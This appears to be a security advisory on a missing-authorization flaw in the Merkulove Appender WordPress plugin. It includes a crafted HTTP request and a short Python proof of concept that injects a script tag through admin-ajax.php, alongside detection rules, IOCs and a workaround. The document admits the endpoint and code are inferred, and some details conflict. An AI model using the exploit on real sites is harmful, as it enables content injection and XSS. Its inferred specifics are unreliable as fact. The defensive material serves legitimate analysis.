CVE-2025-66150

Executive Summary

CVE-2025-66150 is a Missing Authorization vulnerability in the Merkulove Appender WordPress plugin, affecting versions up to and including 1.1.1. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or modification. The vulnerability is classified under CWE-862 (Missing Authorization) and carries a CVSS score of 5.4 (Medium). As of the latest intelligence, no patch is available, and no public exploit code or proof-of-concept has been released. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for unpatched installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and potentially third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from the vendor. Since no patch exists, consider removing or disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but offers limited impact. However, in a WordPress ecosystem, it could lead to privilege escalation or data leakage if combined with other flaws.

Deep Dive & Mechanics

The vulnerability resides in the Appender plugin by Merkulove, which provides functionality for appending content or managing posts/pages. The core issue is a missing authorization check on certain AJAX actions or REST endpoints. Specifically, the plugin fails to verify user capabilities (e.g., edit_posts, manage_options) before executing sensitive operations.

Root Cause: The plugin uses wp_ajax_* hooks without a corresponding wp_ajax_nopriv_* check or capability verification. This allows unauthenticated users to trigger actions intended only for authenticated users with specific roles.

Attack Vector: An attacker can send crafted HTTP requests to the WordPress site, targeting the vulnerable endpoint. For example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=appender_append&post_id=1&content=malicious

If the appender_append action lacks a current_user_can() check, the request will be processed, potentially appending arbitrary content to posts.

Impact: Unauthorized content injection, data exfiltration, or privilege escalation (if combined with other vulnerabilities).

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. A typical vulnerable implementation in WordPress plugins:

Vulnerable Code (appender.php):

add_action('wp_ajax_appender_append', 'appender_append_callback');
add_action('wp_ajax_nopriv_appender_append', 'appender_append_callback');

function appender_append_callback() {
    // No capability check!
    $post_id = $_POST['post_id'];
    $content = $_POST['content'];
    // Append content to post
    $post = get_post($post_id);
    $post->post_content .= $content;
    wp_update_post($post);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_appender_append', 'appender_append_callback');
// Remove nopriv hook to require authentication
// add_action('wp_ajax_nopriv_appender_append', 'appender_append_callback');

function appender_append_callback() {
    // Add capability check
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    // Nonce verification
    if (!wp_verify_nonce($_POST['_wpnonce'], 'appender_append_nonce')) {
        wp_die('Invalid nonce', 403);
    }
    $post_id = intval($_POST['post_id']);
    $content = sanitize_text_field($_POST['content']);
    // Append content to post
    $post = get_post($post_id);
    $post->post_content .= $content;
    wp_update_post($post);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Appender plugin <= 1.1.1 installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., admin-ajax.php with action appender_append).
2. Craft a POST request to append malicious content to a public post.

Proof-of-Concept (Python):

import requests

target = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
    "action": "appender_append",
    "post_id": "1",
    "content": "<script>alert('XSS')</script>"
}

response = requests.post(target, data=payload)
if response.status_code == 200:
    print("Exploit successful!")
else:
    print("Exploit failed.")

Note: No public exploit code exists; this is a hypothetical example.

Blue Team (Detection & Defense)

Detection:

• Monitor admin-ajax.php requests for unknown actions.
• Look for POST requests with action=appender_* parameters from unauthenticated sources.
• Check server logs for 403 errors on AJAX endpoints (if patched).

Defense:

• Disable or remove the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action parameters matching appender_* from unauthenticated users.
• Use WordPress security plugins to enforce capability checks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=appender_append or similar.
  • Unusual content in post bodies (e.g., JavaScript, iframes).
• File IOCs:
  • Modified post content in the database.
  • Suspicious entries in wp_posts table.
• Log IOCs:
  • Repeated 200 responses to admin-ajax.php from unknown IPs.
  • Access logs showing POST /wp-admin/admin-ajax.php HTTP/1.1 with action=appender_*.

Detection Engineering

YARA Rule

rule CVE_2025_66150_Appender_Missing_Auth {
    meta:
        description = "Detects exploitation attempts of CVE-2025-66150 in Merkulove Appender plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66150"
    strings:
        $ajax_action = "appender_append" nocase
        $wp_ajax = "admin-ajax.php" nocase
    condition:
        $ajax_action and $wp_ajax
}

Sigma Rule

title: CVE-2025-66150 - Missing Authorization in Merkulove Appender
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with Appender actions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=appender_'
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66150 - Merkulove Appender Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=appender_"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF rule to block unauthenticated requests to admin-ajax.php with action parameters starting with appender_.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor must release a patched version that adds capability checks (e.g., current_user_can('edit_posts')) and nonce verification.
• Users should update to the latest version once available.

Workaround:

• Add custom code to functions.php to enforce authorization:

add_action('init', function() {
    if (isset($_POST['action']) && strpos($_POST['action'], 'appender_') === 0) {
        if (!current_user_can('edit_posts')) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
DevSecOps & Cyber Threat Intelligence